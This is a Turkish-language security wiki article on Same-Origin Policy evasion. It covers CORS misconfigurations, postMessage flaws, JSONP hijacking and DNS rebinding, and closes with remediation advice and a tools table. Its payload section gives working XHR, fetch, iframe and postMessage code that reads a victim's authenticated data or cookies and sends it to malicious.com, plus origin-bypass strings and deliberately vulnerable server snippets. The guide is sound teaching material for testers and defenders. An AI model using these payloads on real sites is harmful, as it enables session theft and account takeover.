SOP (Same-Origin Policy) Evasions
> Yazar: Emre Ermenek
Modern web uygulamalarının güvenlik temelini oluşturan Same-Origin Policy (SOP), bir origin (URI Scheme, Hostname ve Port üçlüsü) üzerindeki web sayfasının, farklı bir origin üzerindeki verilere yetkisiz okuma (read) erişimi yapmasını engelleyen kritik bir tarayıcı (browser) güvenlik mekanizmasıdır. Red Team operasyonlarında SOP, aşılması veya etrafından dolanılması (evasion) gereken en büyük bariyerlerden biridir. Zira Cross-Site Request Forgery (CSRF) gibi zafiyetler "yazma/tetikleme" (write/execute) işlemlerine izin verse de, hedef sistemden hassas veri (PII, session token, API response) çekmek için okuma (read) yetkisi gereklidir ve bu yetki SOP tarafından kısıtlanır.
SOP Evasion teknikleri; hedefin CORS (Cross-Origin Resource Sharing) miskonfigürasyonlarını, hatalı postMessage implementasyonlarını, JSONP zafiyetlerini, tarayıcı parsing farklılıklarını ve DNS Rebinding gibi network seviyesi manipülasyonlarını kullanarak bu izolasyon duvarını yıkmayı amaçlar. Modern mimarilerde mikroservisler ve third-party entegrasyonlar arttıkça, SOP'u esnetmek için kullanılan mekanizmalar (CORS, postMessage) genellikle hatalı yapılandırılmakta, bu da Exploit Developer'lar için kritik veri hırsızlığı (Data Exfiltration) ve Account Takeover (ATO) senaryolarına kapı aralamaktadır.
How It Works (Teknik Analiz)
SOP, bir hedefe yapılan HTTP isteklerinde tarayıcının kimlik doğrulama bağlamını (Cookies, HTTP Auth vb.) otomatik olarak eklemesi prensibiyle çalışır. Eğer SOP olmasaydı, malicious.com üzerinde çalışan bir JavaScript kodu, fetch('https://bank.com/balance') isteği atarak, kullanıcının bank.com oturumundaki finansal verilerini okuyabilirdi.
SOP Karar Mekanizması (Tuple Matching): Tarayıcı, iki URL'in aynı origin olup olmadığını belirlerken şu üçlüyü (tuple) kontrol eder:
- Protocol (Scheme):
http://vshttps:// - Hostname (Domain):
app.target.comvsapi.target.com - Port:
:80vs:8080
İstisnai durumlar: Internet Explorer (ve bazı eski Edge sürümleri) port numarasını origin hesaplamasına dahil etmez. Ayrıca document.domain kullanımı ile alt alan adları (subdomains) arasındaki origin kontrolü manuel olarak esnetilebilir.
SOP, okuma (read) işlemlerini (örneğin XHR/Fetch response, canvas pixel data, iframe DOM erişimi) engellerken, gömme (embed) işlemlerine (<script src>, <img>, <video>) ve yazma (write) işlemlerine (Form POST) izin verir. Bu kısıtlamaları esnetmek için sunucu tarafında CORS (Access-Control-Allow-Origin) ve istemci tarafında window.postMessage mimarileri devreye girer. Zafiyetlerin kök nedeni (Root Cause), bu esnetme mekanizmalarındaki "Trust Boundary" (Güven Sınırı) ihlalleridir.
Vulnerable Code Patterns
1. Hatalı CORS Implementasyonu (Regex/Reflection Flaw - Node.js/Express): Saldırgan origin'inin doğrudan kabul edildiği, yetersiz doğrulama içeren Backend kodu.
const express = require('express');
const app = express();
app.use((req, res, next) => {
let origin = req.headers.origin;
// ZAFİYET: "target.com" kelimesinin origin içinde geçmesi yeterli görülmüş.
// Saldırgan "target.com.evil.com" kullanarak bunu atlatabilir.
if (origin && origin.includes("target.com")) {
res.header("Access-Control-Allow-Origin", origin);
res.header("Access-Control-Allow-Credentials", "true"); // Kritik hata: Kimlik bilgilerine izin verilmiş
}
next();
});
app.get('/api/user_data', (req, res) => {
res.json({ user: req.cookies.session_user, apiKey: "ak_12345secret" });
});
2. DOM-Based XSS via postMessage (Frontend - JavaScript): Origin kontrolünün eksik veya hatalı yapıldığı istemci tarafı mesaj dinleyicisi.
window.addEventListener('message', function(event) {
// ZAFİYET: event.origin kontrolü HİÇ YAPILMAMIŞ veya hatalı.
// Herhangi bir origin bu pencereye mesaj gönderebilir.
let data = event.data;
if (data.type === 'updateProfile') {
// ZAFİYET: Gelen veri doğrudan DOM'a veya sink'e yazılıyor. (DOM XSS)
document.getElementById('profileDiv').innerHTML = data.htmlContent;
} else if (data.type === 'exec') {
// Tehlikeli sink kullanımı
eval(data.command);
}
});
3. JSONP (JSON with Padding) Callback Injection (Backend - PHP): Kullanıcı girdisinin doğrudan JavaScript fonksiyonu olarak çalıştırıldığı eski tip SOP esnetme tekniği.
<?php
header('Content-Type: application/javascript');
// ZAFİYET: 'callback' parametresi sanitize edilmeden doğrudan output'a yazılıyor.
$callback = $_GET['callback'];
$data = array("id" => 1, "email" => "victim@target.com", "role" => "admin");
$json_data = json_encode($data);
// Çıktı: malicious_func({"id":1,...})
echo $callback . '(' . $json_data . ');';
?>
Detection & Enumeration (Keşif ve Analiz)
SOP Evasion ve CORS zafiyetlerini tespit etmek için black-box metodolojisinde iteratif HTTP header modifikasyonları ve statik JavaScript analizi gereklidir.
- Origin Reflection Fuzzing: Hedef API uç noktalarına manipüle edilmiş
Originheader'ları gönderilerekAccess-Control-Allow-Origin(ACAO) veAccess-Control-Allow-Credentials(ACAC) yanıtları incelenir. - Preflight (OPTIONS) Analizi: Özel header'lar (örn.
X-Custom-Header) veya standart dışı metodlar kullanılarak sunucununOPTIONSisteklerine verdiği CORS konfigürasyon yanıtları (Access-Control-Allow-Methods,Access-Control-Allow-Headers) parse edilir. - postMessage Listener Keşfi: Geliştirici araçları (DevTools) veya özel eklentiler (örn. Posta) kullanılarak DOM üzerindeki
messageevent listener'ları statik ve dinamik olarak analiz edilir. Hedef JavaScript dosyalarındawindow.addEventListener('message', ...)pattern'ı aranır. - Dinamik DOM Analizi: İlgili
postMessagehandler'ına breakpoint koyularak (Debugger), gelen verinin hangi Sink noktalarına (innerHTML,eval,location.href) ulaştığı takip edilir.
Attack Vectors & Exploitation (İstismar Vektörleri)
SOP izolasyonunu atlatmak için kullanılan temel istismar zincirleri aşağıda detaylandırılmıştır.
CORS Misconfiguration: Arbitrary Origin Reflection
En yaygın CORS zafiyetidir. Sunucu, gelen istekteki Origin header'ını okur ve herhangi bir doğrulama yapmadan doğrudan Access-Control-Allow-Origin response header'ına kopyalar. Access-Control-Allow-Credentials: true ile birleştiğinde saldırgan, kurbanın session'ı ile hedeften veri okuyabilir.
CORS Misconfiguration: Null Origin Allowed
Geliştiriciler, local geliştirme ortamlarını desteklemek veya bazı internal sistemlerin çalışması için Origin: null değerini whitelist'e alır. Saldırganlar, sandboxed iframes (<iframe sandbox="allow-scripts allow-forms">) veya data: URI'leri kullanarak Origin header'ını null olarak üretir ve SOP'u aşar.
CORS Misconfiguration: Weak Regex & Prefix/Suffix Match
Eğer sunucu origin'i Regex veya string metotlarıyla (örn. startsWith, endsWith, indexOf) kontrol ediyorsa, bu mantık hataları istismar edilebilir.
- Prefix match (
startsWith("https://target.com")):https://target.com.evil.comorigin'i ile atlatılır. - Suffix match (
endsWith("target.com")):https://evil-target.comorigin'i ile atlatılır. - Unescaped Dot in Regex (
^https://www.target.com$):https://wwwatarget.comorigin'i ile atlatılır.
DOM-Based XSS & Data Theft via postMessage
SOP, cross-origin pencerelerin DOM'una müdahaleyi engeller ancak pencereler arası haberleşme için HTML5 ile postMessage API'si getirilmiştir. Eğer hedef uygulama:
- Gelen mesajın kimden geldiğini (
event.origin) kontrol etmiyorsa. - Kontrol etse bile yukarıdaki gibi zayıf bir string analizi yapıyorsa.
- Mesaj içeriğini tehlikeli bir DOM fonksiyonuna aktarıyorsa, saldırgan zararlı bir iframe oluşturup hedefe postMessage göndererek DOM XSS veya CSRF tetikleyebilir.
JSONP Hijacking (XSSI - Cross-Site Script Inclusion)
JSONP, SOP öncesi dönemde cross-origin veri çekmek için kullanılan bir "hack"tir. <script> tag'leri SOP'a tabi olmadığı için, saldırgan kendi sitesinde <script src="https://api.target.com/data?callback=stealData"></script> tag'i oluşturur. Kullanıcı saldırganın sitesini ziyaret ettiğinde, api.target.com kullanıcının cookie'si ile çağrılır ve dönen JSON verisi saldırganın tanımladığı stealData fonksiyonuna parametre olarak düşer.
DNS Rebinding
Eğer uygulama IP tabanlı kısıtlamalar yapıyorsa (örn. SSRF koruması için internal IP'leri engelleme veya sadece belirli origin'lere izin verme), DNS Rebinding ile tarayıcı kandırılır.
- Saldırgan
attacker.comalan adı için DNS TTL değerini çok düşük (örn. 1 saniye) ayarlar. - Kurban siteyi ziyaret ettiğinde DNS ilk olarak saldırganın external IP'sini döner.
- Tarayıcı
attacker.comorigin'i altında saldırganın JavaScript kodunu çalıştırır. - JS kodu
setIntervalileattacker.com'a veri istekleri atmaya başlar. - Birkaç saniye sonra TTL süresi dolar, saldırganın DNS sunucusu artık
attacker.comiçin hedefin Internal IP'sini (örn.127.0.0.1veya192.168.1.100) döner. - Tarayıcı önbelleği dolduğu için yeni IP'ye bağlanır. Ancak Origin hala
http://attacker.comolduğu için SOP devreye girmez ve saldırgan internal ağdaki veriyi okuyup exfiltrate edebilir.
document.domain Subdomain Takeover Chaining
document.domain özelliği, iki farklı subdomain'in SOP kurallarını kendi aralarında iptal etmesini sağlar (örn. app.target.com ve shop.target.com, ikisi de document.domain = "target.com" yaparsa birbirlerinin DOM'unu okuyabilir). Eğer hedefin herhangi bir unutulmuş veya ele geçirilebilir (Subdomain Takeover) alt alan adı varsa, saldırgan bu alt alan adını ele geçirir, içine document.domain = "target.com" yazan bir JS koyar ve ana alan adındaki (main domain) tüm session/DOM verilerini ele geçirir.
Payloads & Advanced Commands
Arbitrary Origin & Credentials CORS Payloads
Saldırganın sunucusunda (malicious.com) barındırılan ve hedef kullanıcının verilerini sızdıran XHR ve Fetch payload varyasyonları:
Varyasyon 1: Klasik XMLHttpRequest (XHR) Data Exfiltration
var req = new XMLHttpRequest();
req.onload = function() {
// Hedef API'den dönen veriyi (JSON/HTML) saldırganın sunucusuna gönder (Exfiltration)
var exfil = new XMLHttpRequest();
exfil.open("POST", "https://malicious.com/log", true);
exfil.send(this.responseText);
};
// withCredentials true ile hedefin session cookie'leri isteğe dahil edilir
req.open("GET", "https://api.target.com/v1/user/private_data", true);
req.withCredentials = true;
req.send();
Varyasyon 2: Modern Fetch API Data Exfiltration
fetch('https://api.target.com/v1/user/private_data', {
method: 'GET',
credentials: 'include' // Kritik: SOP Evasion için session'ı dahil et
})
.then(response => response.text())
.then(data => {
fetch('https://malicious.com/log?data=' + btoa(data));
})
.catch(err => console.log(err));
Null Origin CORS Bypass Payloads
Sunucu Origin: null değerini kabul ediyorsa, tarayıcıda null origin üreten yapılar kullanılmalıdır.
Varyasyon 3: Sandboxed Iframe Yöntemi
Aşağıdaki kod saldırganın sunucusunda HTML olarak barındırılır. İframe sandbox özelliği ile oluşturulduğu için içindeki script'in Origin header'ı tarayıcı tarafından zorunlu olarak null yapılır.
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
var req = new XMLHttpRequest();
req.onload = function() {
fetch('https://malicious.com/log', {method: 'POST', body: this.responseText});
};
req.open('GET', 'https://api.target.com/sensitive', true);
req.withCredentials = true;
req.send();
</script>">
</iframe>
Varyasyon 4: Data URI Redirection Yöntemi
// Doğrudan window.location.href üzerinden tetiklenen Data URI
window.location.href = "data:text/html,<script>var xhr=new XMLHttpRequest();xhr.open('GET','https://api.target.com/data',true);xhr.withCredentials=true;xhr.onload=function(){fetch('https://malicious.com/log?val='+btoa(xhr.responseText));};xhr.send();</script>";
postMessage Exploitation Payloads
Hedefteki zayıf bir message listener'ı istismar etmek için saldırgan sayfasından hedef sayfaya/iframe'e gönderilen zararlı mesajlar.
Varyasyon 5: Iframe üzerinden Payload Gönderimi (DOM XSS)
<iframe id="targetFrame" src="https://target.com/vulnerable_page"></iframe>
<script>
window.onload = function() {
var frame = document.getElementById('targetFrame').contentWindow;
// Hedefteki zayıf handler'a göre payload hazırlanır
// Örn: innerHTML sink'i için img on-error payload'u
var exploitData = {
type: "updateProfile",
htmlContent: "<img src=x onerror=fetch('https://malicious.com/log?c='+document.cookie)>"
};
// Hedefin Origin kontrolü zayıfsa ('*' veya regex bypass) mesaj işlenir
frame.postMessage(exploitData, '*');
};
</script>
Varyasyon 6: Window.Open ile postMessage Gönderimi (Iframe Koruması Varsa)
Eğer hedefte X-Frame-Options: DENY varsa iframe kullanılamaz. Bu durumda window.open kullanılır.
var targetWindow = window.open('https://target.com/vulnerable_page');
setTimeout(function() {
targetWindow.postMessage('{"action":"exec","command":"alert(document.domain)"}', '*');
}, 2000); // Sayfanın yüklenmesi için beklenir
JSONP/XSSI Payloads
Eski model callback zafiyetlerini istismar ederek JSON verisini çalmak.
Varyasyon 7: Callback Function Hijacking
<script>
// 1. Kurban verisini okuyup saldırgana iletecek fonksiyonu tanımla
function exfiltrate(data) {
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://malicious.com/stolen_json", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send(JSON.stringify(data));
}
</script>
<script src="https://api.target.com/getUserData?callback=exfiltrate"></script>
Bypass & Obfuscation (Atlatma Teknikleri)
Backend'de kurgulanan hatalı Regex ve string doğrulama algoritmalarını (WAF/IDS kuralları dahil) aşmak için kullanılan ileri düzey hileler:
- Prefix/Suffix Bypass:
Eğer regex
^https://target\.comşeklinde bitiş (end of string$) işareti olmadan yazılmışsa:- Payload:
https://target.com.attacker.com
- Payload:
- Special Character (URL Parsing) Bypasses:
Tarayıcı ve Backend dillerinin (Node.js, PHP, Python) URL'leri farklı parse etmesini (URL Confusion) kullanmak:
https://target.com@attacker.com(Tarayıcı için hostattacker.com'dur, credentialstarget.com'dur. Ancak hatalı yazılmış regex bunu geçerli sanabilir).https://attacker.com/?q=target.comhttps://target.com.evil.com
- Punycode & Unicode Bypasses:
Eğer IDN (Internationalized Domain Names) destekleniyorsa, görsel olarak benzer karakterler kullanılabilir.
target.comyerinetärgët.com(Punycode:xn--trgt-boa2a.com). Backend ASCII kontrolü yapıyorsa yanılabilir.
- Double Encoding / Line Feed:
Özellikle HTTP Response Splitting veya CORS header injection durumlarında, Origin header'ı manipüle edilebilir.
Origin: https://target.com%0d%0aAccess-Control-Allow-Origin: *
Remediation & Prevention (Önleme ve Savunma)
SOP'un sağladığı güvenliği ihlal etmemek için mimari düzeyde alınması gereken Blue Team / DevSecOps önlemleri:
- CORS Yapılandırmasında Kesinlik:
- Asla
Access-Control-Allow-Origin: *ileAccess-Control-Allow-Credentials: truebirlikte kullanılmamalıdır (Zaten modern tarayıcılar bunu engeller, ancak wildcard mantığı regex ile simüle edilmemelidir). - Dinamik Origin üretimi yerine, izin verilen Origin'ler Backend üzerinde kesin bir Array/List (Whitelist) olarak tutulmalıdır.
Origin: nulldeğeri ASLA whitelist'e eklenmemelidir.
- Asla
- postMessage Güvenliği:
- Alıcı taraf (Receiver): Gelen mesajı işlemeden önce
event.origindeğeri KESİNLİKLE whitelist ile "tam eşleşme" (exact string matching===) yapılarak doğrulanmalıdır. - Gönderici taraf (Sender):
postMessage(data, targetOrigin)kullanırken,targetOriginparametresi asla*yapılmamalı, hedefin exact origin'i yazılmalıdır.
- Alıcı taraf (Receiver): Gelen mesajı işlemeden önce
- JSONP ve document.domain Terki:
- JSONP kullanımı tamamen kaldırılmalı, modern CORS architecture kullanılmalıdır.
document.domainatamaları modern tarayıcılarda zaten "Origin-Keyed Agent Clusters" ile engellenmeye başlanmıştır. Bu kod blokları sistemden temizlenmeli, yerinepostMessagekullanılmalıdır.
- Network Düzeyi (DNS Rebinding) Önlemleri:
- Internal servisler, gelen HTTP request'lerindeki
Hostheader'ını doğrulamalıdır. Sadece beklenen internal host/IP istekleri işlenmeli, harici veya bilinmeyen bir host geldiğinde reject edilmelidir.
- Internal servisler, gelen HTTP request'lerindeki
Common Tools & Frameworks
Aşağıdaki araçlar, sızma testi esnasında SOP esnetmelerini ve konfigürasyon hatalarını tespit/istismar etmek için yaygın olarak kullanılır.
| Araç | Fonksiyon | Komut Örneği |
|---|---|---|
| CORScanner | Hatalı CORS konfigürasyonlarını tarayan Python aracı. | python cors_scan.py -u https://target.com |
| CORS-Me | Go ile yazılmış, hızlı ve eşzamanlı CORS miskonfigürasyon tarayıcısı. | corsme -u https://api.target.com |
| Burp Suite (CORS extension) | Dinamik proxy üzerinde Origin header'ını otomatik fuzzing yaparak ACAC response'larını tespit eder. | (Burp BApp Store -> CORS Scanner) |
| Posta | Chrome eklentisi. İstemci tarafındaki postMessage trafiklerini yakalar, analiz eder ve replay saldırıları yapar. | (Chrome Extensions -> Posta / DOM Invader) |
| Singularity | DNS Rebinding saldırılarını otomatize eden framework. Özel DNS sunucusu kurarak hedefin internal ağına erişim sağlar. | singularity-server -port 8080 |
| DOM Invader (PortSwigger) | Burp Suite'in tarayıcı eklentisi. postMessage ve DOM XSS sink'lerini dinamik olarak test eder ve canary token'lar kullanır. | (Burp Proxy -> Intercept -> DOM Invader Enable) |
Yazar: Emre Ermenek · AltaySec Wiki — Türkçe güvenlik playbook'u.
← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv